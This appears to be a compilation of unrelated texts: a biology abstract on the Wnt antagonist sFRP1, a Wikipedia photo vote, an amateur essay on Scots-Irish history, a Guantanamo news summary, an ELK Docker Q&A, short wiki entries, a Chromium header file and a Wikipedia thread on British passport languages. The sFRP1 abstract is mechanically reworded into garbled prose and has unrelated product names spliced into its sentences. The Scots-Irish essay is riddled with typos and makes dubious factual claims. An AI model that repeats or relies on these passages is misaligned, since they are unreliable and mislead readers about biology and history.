Secreted frizzled related protein-1 (sFRP1), an antagonist of Wnt signaling, regulates cell proliferation, differentiation and apoptosis and negatively regulates bone tissue formation. the lack of main body organ abnormalities, the improved bone tissue formation and a standard life span without recognition of spontaneous tumors shows that focusing on sFRP1 could be used like a therapeutic technique for raising bone tissue mass in metabolic bone tissue disorders or Xylazine Hydrochloride IC50 advertising fracture curing by modulating Wnt signaling. The Wnt signaling pathway is usually mixed up in rules of embryonic advancement, induction of cell polarity, self renewal of hematopoietic stem cells, dedication of cell destiny and apoptosis (Eaves, 2003; Reya et al., 2003; Willert et al., 2003; Nusse, 2005). At least 19 different Wnt proteins, a family group of secreted cysteine wealthy glycoprotein, are known whose function is usually transduced via many pathways pursuing binding towards the seven transmembrane area receptors from the frizzled (FZD) family members (Nusse, 2005). A canonical -catenin pathway is certainly activated generally in most tissue because of its nuclear translocation to stimulate gene transcription being a coregulatory Xylazine Hydrochloride IC50 proteins using the LEF (lymphocyte enhancer aspect)/T-cell transcription aspect (Behrens et al., 1996). Various other Wnt downstream cascades add a planar cell polarity pathway that involves RhoA and JNK activation of AP-1 focus on genes to modify cell form and motion (Veeman et al., 2003) as well as the Wnt-calcium pathway which is certainly implicated in cell migration and requires Wnt signaling with a G-protein combined receptor organic (Wang and Malbon, 2003; Kuhl, 2004). Non-canonical pathways may also antagonize the canonical pathway (Kuhl et al., 2001). As the different parts of Wnt signaling are getting positively pursued, the regulatory handles operating upon this essential developmental pathway stay to be set up. The concentrate of today’s study is certainly to look for the function of sFRP1, a Wnt antagonist whose activity will influence both canonical and non-canonical pathways, during embryonic and post-natal advancement. Inactivation and attenuation of Wnt signaling is certainly regulated by many classes of secreted antagonists including secreted frizzled-related protein (sFRP) including sFRP1 to 5 (also called secreted apoptosis related elements), Sizzled and Xylazine Hydrochloride IC50 Crescent (Kawano and Kypta, 2003; Lee et al., 2006), Wnt inhibitory elements (WIFs) and Cerberus by binding to Wnt, aswell as Dickkopf which binds to the reduced thickness lipoprotein receptor related proteins (LRP5) Wnt co-receptor and particularly inhibits canonical Wnt signaling (He et al., 2004). Dkk2 was lately shown to have got a critical function in regulating mineralization from the bone tissue matrix, highlighting the importance of regulating Wnt signaling in the Rabbit Polyclonal to Keratin 15 skeleton (Li et al., 2005). The sFRPs are soluble ~314 amino acidity proteins and also have a cysteine-rich (CRD) area just like FZD receptors for binding to Wnt ligands (Kawano and Kypta, 2003). Appearance of sFRPs are either overlapping or are fairly tissue limited (Melkonyan et al., 1997; Hoang et al., 1998; Leimeister et al., 1998; Terry et al., 2000) and will provide distinct useful activities with particular Wnt ligands (Dennis et al., 1999; Galli et al., 2006). Because both sFRP1 and sFRP2 overlap in appearance in many tissue and mice null for every of the sFRPs are practical, a dual homozygous knockout was lately characterized which led to a lethal embryonic phenotype (E16.5) with reduced amount of the anterior-posterior axis, incomplete somite segmentation and digit and hindlimb abnormalities (Satoh et al., 2006). Embryos holding the triple mutation for sFRP1, sFRP2, and sFRP5 are also been shown to be lethal at E12.5, with severe axis patterning flaws (Satoh et al., 2008). The natural relevance from the sFRP1 Wnt antagonist is well known for many tissue. sFRP1 has generated roles through the development of neovessels (Goodwin and dAmore, 2002), in the attention as well as for retinal cell differentiation (Kim et al., 2007), during cardiomyogenesis and hematopoiesis (Naito et al., 2006; Kwon et al., 2007), and in the adult skeleton in regulating Runx2 for chondrocyte hypertrophy, osteoblast differentiation and osteocyte apoptosis (Bodine et al., 2004; Gaur et al., 2005, 2006). sFRP1 regulates cell proliferation in various tissue like the proliferative area of developing neurons (Augustine et al., 2001), for development control. | ESSENTIALAI-STEM |
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Cairns Birdwing
Another lovely image from the butterfly enclosure at the Melbourne Zoo. This time it's of the very colorful (and large) Cairns Birdwing.
* Support Self Nom. --Fir0002 11:17, 27 January 2007 (UTC)
* Support anything you can't make into a featured picture? Jor co ga Hi! 11:42, Saturday, January 27 2007
* I guess you're pretty new around here ;-) Yes there is plenty, my record is far from perfect! --Fir0002 00:24, 28 January 2007 (UTC)
* Well, I started editing in March, but I haven't been at FPC for very long. Jor co ga Hi! 05:43, Sunday, January 28 2007
* Support - just like "Mary Poppins": Practically perfect! --Janke | Talk 14:59, 27 January 2007 (UTC)
* Support. Excellent composition. -- Tewy 17:45, 27 January 2007 (UTC)
* Support. --KFP (talk | contribs) 17:52, 27 January 2007 (UTC)
* Support. I abstained on the last butterly pic because I didn't like the way the flash affected lighting but this one is a bit better. Could do with being slightly brighter though. Ironic considering you try to brighten just about every picture I upload... Diliff | (Talk) (Contribs) 21:39, 27 January 2007 (UTC)
* Support - So pretty! Why is it that I'm freaked out by all bugs except butterflies? :o) Also, love the peculiar sideways angle. Is that how it was walking? tiZom(2¢) 03:19, 28 January 2007 (UTC)
* Support Surprisingly good. Very nice detail. S h a r k f a c e 2 1 7 03:23, 28 January 2007 (UTC)
* Comment I think it needs some leveling (particularly in the whites.) --Marumari 15:23, 28 January 2007 (UTC)
* Support Image is technically excellent, and it shows it's subject in a clearly encyclopedic fashion. HighInBC (Need help? Ask me) 16:19, 28 January 2007 (UTC)
* Support. Very good photo. - Darwinek 12:32, 29 January 2007 (UTC)
* Support More bugs? Great! | A ndonic O Talk · Sign Here 15:45, 29 January 2007 (UTC)
--KFP (talk | contribs) 22:17, 7 February 2007 (UTC) | WIKI |
The Scotts-Irish are a often poorly understood group. They are actually a sub-set of Scotts, but specifically Low-Land Scotts. They were not ethnically Irish and certainly not Catholic. The Irish in their name comes from the fsct that thry briefly lived in Ireland, specifically Ulster. Scotts-Irish is an American term. In Britain they are more commonly referred to as the Ulsrer-Scotts which a more understandable term. They played an important role in British and American history--especially the American Revolution. They also have played an inportant cultural role in America. The Scotts-Irish originted in the Scottish Lowlands. They were not strongly involved in the Scottish risings, this came mostly from the Highlands. Their location in the Lowlands meant that they were the Scotts most influenced culturally by the English. But like other Scotts they were Presbeterians. They were used by the English Crown to pacify Northern Ireland by replacing Irish Ctholics with nmore loyal Scottish Presbeterians. This was since known as the Ulster Plantations. The experiment was partially successful, they did replace the Irish Catholics, but they were not compliant enough for English land lords and their oposition to the Church of England caused problems ith the Crown. As a result of this alienation with the English, they emigrated in large numbers to the American colonies at a relatively late period in colonial history. Many of the Scott-Irish settled the backwoods of the American colonies, meaning the area in the foothills of the Apalanchen Mountains. This was because by the time they began to emigrate, much of the best land east of the mountains had been settled and British authorities attempted to prevent settlement west of the mountains. Thus the Scotts Irish were limited to the backwoods. They could not afford to buy the better farm land in already developed areas and British officials denined them permission to move west into the rich land to the west of the mountins. Many of these Scotts families because of their experiences were anti-English and their experience in the colonies just intensified this feeling. English policies were unpopular throughout the colonies, but as the Colonists were mostly of English stock, they did not resent the English per se. The attitudes of the Scotts-Irish were more viceral. They disliked the English and not just their policies. They would play a major role in the American Revolution (1776-83). This meant at the time of the Revolution large areas in the backwoods were strongly anti-British. This would play out in the Revolution, especially the British southern campaign. One of the most influential early presidents, Andrew Jackson was Scotts Irish, the first of the Log Cabin presidents.
The Scotts-Irish are a often poorly understood group. They are actually a sub-set of Scotts, but specifically Low-Land Scotts. They were not ethnically Irish and certainly not Catholic. The Irish in their name comes from the fsct that thry briefly lived in Ireland, specifically Ulster. Scotts-Irish is an American term. In Britain they are more commonly referred to as the Ulster-Scotts which a more understandable term. One author calls them 'the othr Irish" because Catholic is imprented in the popular mind with the mention of the Irish. [McCarthy]
They played an important role in British and American history--especially the American Revolution. They also have played an inportant cultural role in America.
The Scotts-Irish originted in the Scottish Lowlands. They were not strongly involved in the Scottish risings, this came mostly from the Highlands. Their location in the Lowlands meant that they were the Scotts most influenced culturally by the English.
Like other Scotts, the Scotts-Irish were Presbeterians. Henry VIII broke from the Catholic Church, but retained many Catholic elements in the Church of England. The Reformation was much more successful in Scotland. The Church of Scotland was Preysbetarian. In the religious conflicts in England, Queen Elizabeth's mother lost her head and Princess Elizabeth nearly did s well. Queen Mary Stuart of Scotland did lose her head. When Queen Mary failed to return Catholocism to England, Phillip II of Spain dipstched the Great Armada to retuen Enhland to Catholovism. Mary Stuart's son James I (1603-1625) was yaken from her and raised a Protestant, but as king he wanted to end the religious conflicts, by forcing disenter groups into the COE. This was why the Pilgrims sailed to Massachuserts. Other dissenter groups followed. The Catholics were another problem. and a real security threat. Guy Faukes was aatholic who rued to blow up Partliament at the time. By James's reign, hoever, Englnd had become a largely Protestant country. The principal Catholic stronghold was Ireland.
The flight of the Earls (O'Neill, O'Donnell and the other Ulster lords) ended the last real chance of a united Catholic Ireland independent of English control (1603-07). Little is known about what their plans were. Some speculaste they hoped to return with foreign aid. The Earls resisted English dimintiion and fled Ireland to seek suport from from Spain and the Papacy to fight the Protestant England. The Earls failed in their effort, lost their land, and were never able to return to their beloved Ireland.
King James I's answer to the security problem in Ireland was to change the ethnic and religious map of the north, a 17th century version of ethnic cleansing. James I and his Government saw the deprture of the Earls as an opportunity. Chichester was a strong proponent for a plantation. The Crown confiscated the lands of the departed lords (December 1607). Further conflict resulted in the confiscation of even more land and a substantial expansion of the planned plantation. The Government issued pamphlets to promote British Protestants to launch a great colonising enterprise to create a new Protestant Ireland (Summer 1610). Colonists were drawn from a large range of British society, both English and Scottish (mostly Lowlanders) as well as some Protestant foreigners. Chichester and Scottish nobels like the Earl of Abercorn played important roles. The migrants included aristocrats, artisans, evicted Lowland farmers, even fugitives from justice. The English were better financed, but the Scotts were the most determined colonists or planters as they were called. For this reason the planters came to be called the Ulster Scotts or in America the Scotts-Irish. They were in fact not all Scotts, but they were defnitely Protestants who came to Ireland with a religious mission in mind as well as personal benefit. The Scots wee not Anglican, but were Protestants. The effort even attracted
French and German protestants. He focused on northeastern Ireland or Ulster where land was confiscated after the Flight of the Catholic Earls. King James first gave land to the English and Scottish immigrants and then to court favorites. The native Catholic Irish were the last to receive any land. In fsct in the pfoicess of the Ulster Plantation, the English displaced large numbers of Irish peasants who had worked the land for centurie.
Ulster included the nine present-day northeatern counties of Donegal, Fermanagh, Cavan, Monaghan, Armagh, Down, Tyrone, Coleraine (later Londonderry), and Antrim. Not only was the land available after the Flight of the Earls, but it is also the area of Ireland clost to Englnd and Scotland. Most of the Scotts used by the Crown to pacify Ulster were The Lowland Scotts. While not English or Anglicans, they were seen by King James as loyal to him.
It was of course the beginning of the northernn Irish problem. The Scotts Irish began establish their own towns and villages. Commerce and industry prospered. They introduced more productive new farming methods. The Presbyterian Church became firmly established in still stronhly bCatholic Ireland. The result was turmoil and animosity and a conflict that persisted into the lste-20th century. Imprtantly, the final phase of the Glorious Revolution, King Janes II's effort to regaon the Crown was fought out in Ulster, with the Scotts-Irish, including the famed Apprentice Boys of Derry resisting James' Catholic Jacobite army with his French allies--the Williamnite War (1689-91).
The Scotts-Irish in Ulster not only faced the emnity of the dispossed Catholic Irish, but encountered problems with the English Crown tht had briught them to Ulster. Different English kings adopted varying religious policies. James' sucessors were not as accomodating with Presbyterians as he had been. And English landlords found their Scottish tenants were just as much trouble as the native Irish tenants if not more troublesome. And the English Crown began to more aggrsively promote the COE. The Presbyterian Church of Scoitland had constitutionslm protection in Scotlsnd itself, but not in Ulster. The result was an increasing struggle for religious tolerance, civil liberties, and political rights. The Crown began descriminsging agajunst Presbyterians in holding office and representation in government. There were also economic issues. Anglican COE ministers supported themselves by tithing both the Irish-Catholic and the Presbyterian Scotts Irish who did not even attend COE churches. In addition their were high rents. And these problems were exacerbated by crop failures (1724-26). As a result, emigratuon to nAmerica began. The Catholic Irish for the nost part did not want to leave as the American colonies were perceived as Protestant lands. The Scotts-Irish after about a century in Ulster began to emigrate in large numbers.
The Scotts Irish began emigrating to the the British colonies (1720s). This emigration occurred during a narrow time window (1717-75). It largely ended with the outbreak of the American Revolution. The movemenbt is called the 'Great Migration'. Historians describe five distinct waves. It was the Scotts-Irish arriving in the first three waves that established the major Scotts-Irish settlements in the colonies. The Scotts Irish emigrated at a relatively late period in colonial history. The numbers were smakl compated to the European emogration sfterthe Civil War, but the population of colonial America was much smaller. As a result they wee a groupof some importance. Many of the Scott-Irish settled the backwoods of the American colonies, meaning the area in the foothills of the Apalanchen Mountains. This was because by the time they began to emigrate, much of the best land east of the mountains had been settled and British authorities attempted to prevent settlement west of the mountains. Thus the Scotts Irish were limited to the backwoods. They could not afford to buy the better farm land in already developed areas and British officials denined them permission to move west into the rich land to the west of the mountains. Many of these Scotts families because of their experiences were anti-English and their experience in the colonies just intensified this feeling. English policies were unpopular throughout the colonies, but as the Colonists were mostly of English stock, they did not resent the English per se. The attitudes of the Scotts-Irish were more viceral. They disliked the English and not just their policies.
The Scotts-Irish played a major role in the American Revolution (1776-83). It was the colonists of English discent who dominated the Revolution politically and provided the ideological foundation. The Scotts Iriah, however, have been described as the molten core of the Revolution. They proved that on the battlefield and in subsequent American wars. A question arises as to how the English colonists, most fervently attached to Britain, came to see themselves as Americans. There were many reasons for this, but one important reason was there was in America an important group which had grown up looking as the British as oppresors in political, economic, and religious terms. And this was the case before modt others Americans had reached this cinclusion. They were the Scotts-Irish. Most ardently embraced the Patriot cause in greater proportion than any other group in America. Their importance on the Western frontier made the western frontier areas a strong supporter of independence. A good example here is Andrew Jackson . It has been estimated that as much as a third of Washington's Continental Army was composed of the Scotts-Irish. There were reportedly 1,400 officers. The father of the American Navy, Commodore John Beary, was Irish. There were eight Irish signers of the Declaration of Independence--three born in Ulster and five in America. The Declaration was printed by a Scotts Irish printer. It should be stressed that the Irish in the Revolution were the Protestant Scotts Irish from Ulster. The contribution of Catholic Irish would come later. While the English had thoroughly suppressed the Irish and Scotts by the late 18th century, in no small measure, the resentment that caused along with migration to America was a key factor in their loss of the American Colonies. There were differences between the Scotts-Irish and Scotts. The Scott-Irish proved to be a mainstay of the Continental cause. Ironically the Scotts who had been so brutally treated by the Crown in Scotland were divided many feared that without the monarchy, they would be exposed to the domibation of the English majority. This meant at the time of the Revolution large areas in the backwoods were strongly anti-British. This would play out in the Revolution, especially the British southern campaign. The Scotts Irish not only played an important role in the major campaigns, but they were also prominant in the West, seizing control of Kentucky. Many of the settlers Daniel Boone led into Kentucky were Scotts Irish. This helped America in the peace neotiations to lay claim to the frontier beyond the Aplachains.
We are not entirely sure at this time how the Scotts and Scotts-Irish reksated with each other in the Colonies and later the independent United States. Perhaps readers will have some idea here. We believe the Scotts were more dispersed than the Scotts-Irish. nd the Scotts wre more drawn from the Higlands. The Scotts that attend Highland Gatherings are primarrily the Scottish immigrants and not the Scotts-Irish.
The press in America trumpheted the election of John F. Kennedy in 1960 as the first Irish president. Left unsaid by the press is the fact tht more than 20 presidents are of Scotts-Irish heritage, including some very important ones. [McCarthy] The first and most important was Andrew Jackson--the only president who has an age named after him. Woke culture focuses on the nagative--Native Americabns and the Tril of Tears. And just ignores the fact Jackson played a major role in transforming America from a patrician republic to a popular democracy and all that meant. Harry Truman was another presidentb of Scotts-Irish ancestry. Nomother minoritt has given us so many preisdents, maby of wgich came from inder-privildged or lower middle-class backgrounds.
The cultural contribution of the Scotts-Irish to America is enormous and extrodinarily diverse. The Scott-s Irish not only played a key role in winning the Revolutionary War and today constitute about a third of the U.S. militafy, an extrodinary figure given the actual number of Scotts-Irish immigrants. They have provided some of our literary giants, including Mark Twain and Stephen King. They created country bmudic. NASCAR is a Scotts-Irish contribution, orginating with backwoods mmonshiners and their souped up cars during Prohibition. It is now biggest spectator sport in the country. There is a long list of iconic figures, including folk hero warriors such az Daniel Boone, Jim Bowie, Davy Crockett, andSam Houston as well as Mark Twain and George Patton. [McCarthy] They are described as patriotic, rebellious, and fervently relogious. Today they are among themost fervent defenders of America and dismisive of woke culture. The Scotts Irish also gave us NASCAR, tghe larfest spetator sport in America.
McCarthy, Karen. The Other Irish: The Scotts-Irish Rascals that Made America (2011).
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Pentagon says Justice Dept has found birth certificate of prisoner from Afghanistan being held at Guantanamo Bay Naval Station that seems to corroborate his claim that he is American who was born in Louisiana; if story is confirmed, man would be second fighter of American citizenship to be captured in Afghanistan, after John Walker Lindh; like Lindh, second man was taken under American control after violent uprising by Taliban and Al Qaeda fighters in prison in Mazar-i-Sharif; ABC News identifies man as Yasser Esam Hamdi; officials say he was born in US to Saudi parents who took him to Saudi Arabia when he was toddler; if Justice Dept agrees that he is American citizen, he may be entitled to legal rights beyond that others at Guantanamo Bay have been granted (M) | NEWS-MULTISOURCE |
Scaling out logstash
Looking for the easiest approach to scale ELK with Docker (host network mode)
Currently I have 2 servers and each runs a single elasticsearch, logstash and kibana container.
The elasticsearch containers on each server run in master mode and can find each other with unicast discovery:
discovery.zen.minimum_master_nodes: 2
discovery.zen.ping.unicast.hosts: server1, server2
Each logstash container is configured with it's local elasticsearch container running on same server.
output {
elasticsearch {
hosts => ["${HOST_IP}:9200"]
}
}
The Kibana container will also only talk to local elasticsearch but I'm assuming via discovery it'll find all others.
A user can jump onto Kibana on any server to search all logs etc...
ELASTICSEARCH_URL=http://${HOST_IP}:9200
As I add more servers they'll run using the same setup. 1 master elasticsearch container and 1 logstash container and 1 Kibana
Does this setup make sense?
It's certainly not crazy, but
• ES, Logstash, and Kibana all have different performance characteristics and different ways and needs of scaling, and
• ES and Logstash will compete for resources.
Having your configuration assume that all three services run on the same machine could paint you into a corner if you ever decide you want to break things up. It probably won't be that hard to untangle but I'd prefer not making such assumptions in the first place. | ESSENTIALAI-STEM |
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Removed 'Official Website', which now points to current 60th District incumbent Sean McCann. Mark E Miller (talk) 05:29, 24 March 2012 (UTC)
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Sweepstake (disambiguation)
A sweepstake is a form of gambling where the entire prize may be awarded to the winner.
Sweepstakes may also refer to:
* Sweepstakes (film), an American comedy
* "Sweepstakes" (song), by British band Gorillaz
* Sweepstakes (TV series) (stylized as $weepstake$), a short-lived, mid-season replacement television series from 1979
* Sweepstakes (clipper), an 1853 clipper ship in the California trade
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En Kaadhali Scene Podura
En Kaadhali Scene Podura is a 2019 Indian Tamil-language romantic comedy film directed by Ram Sevaa. It stars Mahesh and Shalu Chourasiya alongside an ensemble cast. Featuring music composed by Amresh Ganesh, the film began production in mid-2018 was released on 13 September 2019.
Production
The film featuring Mahesh and debutant Shalu Chourasiya was shot in early 2018, with director Ram Sevaa making his second film after the unreleased Tea Kadai Bench. The director based the story of the film on a real life incident that he had witnessed in the 1990s, and completed the shoot of the film within 23 days. The film's music is composed by Amresh Ganesh, and prior to release, Mahesh highlighted it as a major selling point of the film.
Soundtrack
The film's soundtrack was composed by Amresh Ganesh.
* "Bro Bro" - Amresh Ganesh
* "Chella Nilavey" - Sharath Santhosh
* "Nilla Kallula" - Senthil Ganesh, Rajalakshmi
* "Scene Podura" - Krish
Release
In its review, The Indian Express gave a negative impression and wrote the film was "a mess of a movie that does not know what it wants to be". Maalaimalar praised the music while criticizing the cinematography. | WIKI |
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// Copyright (c) 2012 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#ifndef CHROME_BROWSER_NET_NET_ERROR_TAB_HELPER_H_
#define CHROME_BROWSER_NET_NET_ERROR_TAB_HELPER_H_
#include "base/basictypes.h"
#include "base/bind.h"
#include "base/compiler_specific.h"
#include "base/memory/weak_ptr.h"
#include "base/prefs/pref_member.h"
#include "chrome/browser/net/dns_probe_service.h"
#include "chrome/common/net/net_error_info.h"
#include "content/public/browser/web_contents_observer.h"
#include "content/public/browser/web_contents_user_data.h"
namespace chrome_browser_net {
// A TabHelper that monitors loads for certain types of network errors and
// does interesting things with them. Currently, starts DNS probes using the
// DnsProbeService whenever a page fails to load with a DNS-related error.
class NetErrorTabHelper
: public content::WebContentsObserver,
public content::WebContentsUserData<NetErrorTabHelper> {
public:
enum TestingState {
TESTING_DEFAULT,
TESTING_FORCE_DISABLED,
TESTING_FORCE_ENABLED
};
typedef base::Callback<void(chrome_common_net::DnsProbeStatus)>
DnsProbeStatusSnoopCallback;
virtual ~NetErrorTabHelper();
static void set_state_for_testing(TestingState testing_state);
// Sets a callback that will be called immediately after the helper sends
// a NetErrorHelper IPC. (Used by the DNS probe browser test to know when to
// check the error page for updates, instead of polling.)
void set_dns_probe_status_snoop_callback_for_testing(
const DnsProbeStatusSnoopCallback& dns_probe_status_snoop_callback) {
dns_probe_status_snoop_callback_ = dns_probe_status_snoop_callback;
}
// content::WebContentsObserver implementation.
virtual void DidStartNavigationToPendingEntry(
const GURL& url,
content::NavigationController::ReloadType reload_type) OVERRIDE;
virtual void DidStartProvisionalLoadForFrame(
int64 frame_id,
int64 parent_frame_id,
bool is_main_frame,
const GURL& validated_url,
bool is_error_page,
bool is_iframe_srcdoc,
content::RenderViewHost* render_view_host) OVERRIDE;
virtual void DidCommitProvisionalLoadForFrame(
int64 frame_id,
const base::string16& frame_unique_name,
bool is_main_frame,
const GURL& url,
content::PageTransition transition_type,
content::RenderViewHost* render_view_host) OVERRIDE;
virtual void DidFailProvisionalLoad(
int64 frame_id,
const base::string16& frame_unique_name,
bool is_main_frame,
const GURL& validated_url,
int error_code,
const base::string16& error_description,
content::RenderViewHost* render_view_host) OVERRIDE;
protected:
// |contents| is the WebContents of the tab this NetErrorTabHelper is
// attached to.
explicit NetErrorTabHelper(content::WebContents* contents);
virtual void StartDnsProbe();
virtual void SendInfo();
void OnDnsProbeFinished(chrome_common_net::DnsProbeStatus result);
chrome_common_net::DnsProbeStatus dns_probe_status() const {
return dns_probe_status_;
}
private:
friend class content::WebContentsUserData<NetErrorTabHelper>;
void OnMainFrameDnsError();
void InitializePref(content::WebContents* contents);
bool ProbesAllowed() const;
base::WeakPtrFactory<NetErrorTabHelper> weak_factory_;
// True if the last provisional load that started was for an error page.
bool is_error_page_;
// True if the helper has seen a main frame page load fail with a DNS error,
// but has not yet seen a new page commit successfully afterwards.
bool dns_error_active_;
// True if the helper has seen an error page commit while |dns_error_active_|
// is true. (This should never be true if |dns_error_active_| is false.)
bool dns_error_page_committed_;
// The status of a DNS probe that may or may not have started or finished.
// Since the renderer can change out from under the helper (in cross-process
// navigations), it re-sends the status whenever an error page commits.
chrome_common_net::DnsProbeStatus dns_probe_status_;
// Optional callback for browser test to snoop on outgoing NetErrorInfo IPCs.
DnsProbeStatusSnoopCallback dns_probe_status_snoop_callback_;
// "Use a web service to resolve navigation errors" preference is required
// to allow probes.
BooleanPrefMember resolve_errors_with_web_service_;
DISALLOW_COPY_AND_ASSIGN(NetErrorTabHelper);
};
} // namespace chrome_browser_net
#endif // CHROME_BROWSER_NET_NET_ERROR_TAB_HELPER_H_ | ESSENTIALAI-STEM |
Wikipedia:Reference desk/Archives/Language/2013 August 1
= August 1 =
British passport languages
I could find only the first two pages of the British passport, but I can't find specimens of all other pages and so I have some questions:
1) What do "the Scottish Gaelic and Welsh sections of passport" mean? How do they look like? When did they firstly appear and how were they changed throughout passport design revisions (it was several times as I know)?
2) Is it possible to write your own name in the Gaelic and Welsh forms which are different from the English ones? E.g. Pàdraig MacGriogair instead of Patrick McGregor.
3) Is it possible to print special accents (acute, grave, circumflex) in the Gaelic and Welsh sections? Is it possible in the English section too (for example in French or German names)?
4) Is something else written in the passport, in its last pages? I've found this, but I don't know where exactly it's located in the passport. Is there Welsh and Gaelic versions of it?
And well, it would be great if someone provides scans/specimens of the ALL pages with any text and uploads it to Wikimedia.--Lüboslóv Yęzýkin (talk) 01:37, 1 August 2013 (UTC)
* No, a British Passport is all in English, with one photo on the last page, and on that page everything is written in English and French. The rest of the passport has information about the traveller, which is written in various languages from the EU, but only in small print, with numbers indicating which of the bits in English refer to whichever in said various languages. Also, it is not a British Passport, it is an EU passport (until next year when we finally get back to running our own finances). KägeTorä - (影虎) ( TALK ) 21:39, 1 August 2013 (UTC)
* Just as a point of order (as the image linked by the OP demonstrates), a British passport is traditionally not all in English, several pages are - or have been - in English and French for many many years. The OP is quoting from our British passport article re: the inclusion of Welsh and Scottish Gaelic. This specific claim in the article is not clearly sourced and the paragraph could be read as stating that Welsh and Gaelic have been included since 1998 (the reference to 1998 does not appear to contain information that supports any of the details in this paragraph. My last passport (now out of date) was issued in 2000 and I've just checked and it does not contain any Welsh or Gaelic. It does contain all the official languages of the EU (as it was in 2000)(including Irish) on certain pages. This press release from the archived site of the UK Passport Service indicates the change was to be brought in from Autumn 2005. Welsh and Gaelic appear on those pages where previosuly, previously all the EU languages were included - i.e. the inside title page and the page where it translates the English and French terms used on the Personal Details page into the other EU languages - but not on the Personal Details page(s) which is the section imaged in the OP's first link.
* With regard to Gaelic and Welsh forms, people don't typically have more than one legal name. Generally if a Welsh person is called, say Ieuan Wyn Jones he's called Ieuan whether speaking or writing in English or Welsh. I'm aware that some Gaelic speakers use an Anglophone and a Gaelic version of their names, but I believe one will be the legal name and one used for other purposes - e.g. if they are a Gaelic writer (see Sorley MacLean for example). As this document from the Gov.uk site indicates, the name on the passport will normally be the name on the birth certificate unless the bearer has changed his name and can demonstrate they use the new name "for all purposes". The document references that people with Irish names may have an Irish name on the birth certificate but be known by the English translation. (I presume this is common enough the the Passport Service to provide guidance on this. In my own limited experience it's the other way round - English name legally but Irish name used). In this event, the passport will still be in the name on the birth certificate, but an "also known as" line will be added to the passport which is a standard practice where people have one name legally and another professionally (e.g. entertainers or professional women who keep their maiden name for work purposes). Valiantis (talk) 00:49, 2 August 2013 (UTC)
* I've added the above reference to the date Welsh and Gaelic were added to the article. Valiantis (talk) 01:07, 2 August 2013 (UTC)
* Oops, misread KageTora's post where he did mention the inclusion of French. However, it's worth pointing out that it's not a European Union passport. It's a British passport, issued by HM Government. The European Union does not issue passports although all EU countries agreed to a degree of standardisation of the design of their passports. Valiantis (talk) 01:16, 2 August 2013 (UTC)
* Yeah, that struck me as a very bizarre, Daily Mail-esque claim... -Elmer Clark (talk) 16:21, 3 August 2013 (UTC)
Thanks all, especially Valiantis. As I understand a typical British passport contains: 1) the burgundy cover in English, 2) the passport note (Her Britannic Majesty's Secretary of State...) in English on the inside cover, 3) the passport title in English printed with a large font and in all other EU languages (including Welsh and Gaelic) with a smaller font, 4) the two main information pages partly in English and partly in French, 5) 32 (or 48) plain counterfeit-proof pages with only page numbers printed on them; these are for visas and stamps, 6) and finally the notes on the last page and emergencies on the back inside cover. Did I something miss?
But still I've got some questions to clear: 1) KageTora, you said there's "one photo on the last page"; did you mean the second information page or there's indeed an additional photo in the last page? 2) Valiantis, you said about "the page where it translates the English and French terms used on the Personal Details page into the other EU languages"; how does this page look like and where this is located? Is it like "surname-nom-Familienname-apellido-cognome-nazwisko..." etc.? 3) Is this still possible to print diacritics in names? How will the names of Jörg Müller or Jiří Dvořák or Pàdraig MacDhòmhnaill be printed?--Lüboslóv Yęzýkin (talk) 06:00, 2 August 2013 (UTC)
* PRADO has several images here, mainly of the various security features, but also (incidentally) of the way different languages are treated. Gabbe (talk) 07:48, 2 August 2013 (UTC)
* I can't see a link to the page with the translation of surname, first name, place of birth etc. in that useful link Gabbe posted. In my old passport it's about page 4 or 5, before the blank pages for Visas. (I'm not at home now so can't check the exact page number). The "notes" page is next to it in my defunct passport, but as per your previous post the "notes" page is now next to the "emergency contact" page at the back. The page is set out very much as you suggest. Each item is numbered to match the number of a field on the personal details page thus Surname (1), Given names (2) etc is listed as 1) Surname / nom / Familienname [...] 2) Given names / Prénoms etc.. Perhaps this page is no longer included as the number of official EU languages has increased massively since 2000.
* The document I linked to previously [ indicates how diacritics and special characters are treated. The passport will only show letters of the English alphabet, hyphens and apostrophes. The document states this is in keeping with [[International Civil Aviation Organisation]] (ICAO) specifications. The document includes a list of how to transliterate diacritics into ICAO approved forms. Jörg Müller will be Jorg Mueller, Jiří Dvořák will be Jiri Dvorak and Pàdraig MacDhòmhnaill will be Padraig MacDhomhnaill. Valiantis (talk) 12:39, 2 August 2013 (UTC)
* Many thanks again, Valiantis. And thanks, Gabbe, I wonder why I have not goggled this interesting site.--Lüboslóv Yęzýkin (talk) 22:51, 2 August 2013 (UTC)
* How oddly inconsistent! Any idea why ü and ä becomes ue and ae (as is also the practice in German), but ö becomes just o? Is it to accommodate other languages that use ö but not ü or ä? -Elmer Clark (talk) 16:26, 3 August 2013 (UTC)
* It seems there is a mistake here. The original document (Appendix 3) gives Ö=OE, so Jörg Müller should be JOERG MUELLER.--Lüboslóv Yęzýkin (talk) 03:20, 4 August 2013 (UTC)
* That makes more sense. (I had wondered if they had chosen to reserve "oe" for "ø" only for some reason). There does appear to be a typo in the Passport Service's documentation. Of course, if this error is in the reference material that staff at the Passport Service are using, then when Jörg does apply for a British passport, he may find it comes back as belonging to Jorg regardless of what the ICAO documentation says. Valiantis (talk) 04:53, 5 August 2013 (UTC)
* Of course, one other thought strikes me. The codes in the ICAO documentation are specifically the codes used in the Machine Readable Zone (MRZ) which are standard for all passports of all nations. These are the letters A through to Z, the digits 0 throught to 9 and a filler "<". The text in the Visual Identification Zone (VIZ) (the bit of the personal ID page a human will read) may use "national characters" (i.e. digraphs, diacritics, special characters). The codes in the UK Passport Service document, although derived from the MRZ codes, appear to refer to the codes they will use in the VIZ, where they will also use hyphens and apostrophes (which can't be included in the MRZ). So it might just be that, for unknown reasons, they choose to diverge from the MRZ codes for the VIZ. (As an aside, the ICAO standards require that apostrophes are omitted entirely and not replaced with a filler in the MRZ. My surname contains an apostrophe and looking at my old passport I notice that the apostrophe has been replaced with a "<" filler. Make of that what you will.) Valiantis (talk) 05:11, 5 August 2013 (UTC)
I suppose the only places where Welsh and Gealic are present are only the title and the translation page, right? As for diacritics: I have read this interesting document before, but still I cannot understand why they omit all diacritics. Is it so technically difficult in our advanced times with Unicode and all these? In French and German passports there is printed diacritics in names, though I don't know how foreign diacritics are treated (like č or å).--Lüboslóv Yęzýkin (talk) 22:51, 2 August 2013 (UTC)
